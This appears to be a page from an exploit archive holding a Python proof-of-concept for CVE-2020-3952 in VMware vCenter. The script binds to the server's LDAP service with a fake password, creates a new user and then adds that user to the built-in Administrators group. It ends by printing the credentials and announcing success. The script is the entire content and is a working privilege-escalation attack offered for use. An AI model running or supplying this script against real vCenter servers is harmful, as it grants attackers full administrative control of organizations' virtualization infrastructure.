4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python
import ldap
import ldap.modlist
import sys

if len(sys.argv) != 4:
    print('usage: exploit.py <VCENTER_IP> <NEW_USERNAME> <NEW_PASSWORD>')
    exit(1)

vcenter_ip = sys.argv[1]
new_username_str = sys.argv[2]
new_username = new_username_str.encode('utf-8')
new_password_str = sys.argv[3]
new_password = new_password_str.encode('utf-8')

dn = 'cn=' + new_username_str + ',cn=Users,dc=vsphere,dc=local'

modlist = {
    'vmwPasswordNeverExpires': [b'True'],
    'userPrincipalName': [new_username + b'@VSPHERE.LOCAL'],
    'sAMAccountName': [new_username],
    'givenName': [new_username],
    'sn': [b'vsphere.local'],
    'cn': [new_username],
    'uid': [new_username],
    'objectClass': [b'top', b'person', b'organizationalPerson', b'user'],
    'userPassword': new_password}

c = ldap.initialize('ldap://' + vcenter_ip)
try:
    c.simple_bind_s('[email protected]', 'fakepassword')
except ldap.INVALID_CREDENTIALS:
    print('got expected ldap.INVALID_CREDENTIALS error on bind')
except:
    print('failed to bind with unexpected error')
    raise
else:
    print('did not receive ldap.INVALID_CREDENTIALS on bind! failing')
    exit(1)

try:
    c.add_s(dn, ldap.modlist.addModlist(modlist))
except ldap.ALREADY_EXISTS:
    print('user already exists, skipping add and granting administrator permissions')
except:
    print('failed to add user. this vCenter may not be vulnerable to CVE-2020-3952')
    raise

print('user added successfully, attempting to give it administrator permissions')

groupModList = [(ldap.MOD_ADD, 'member', [dn.encode('utf-8')])]
try:
    c.modify_s('cn=Administrators,cn=Builtin,dc=vsphere,dc=local', groupModList)
except ldap.TYPE_OR_VALUE_EXISTS:
    print('user already had administrator permissions')
except:
    print('user was added but failed to give it administrator permissions')
    raise

print('success! you can now connect to vSphere with your credentials.')
print('username: ' + new_username_str)
print('password: ' + new_password_str)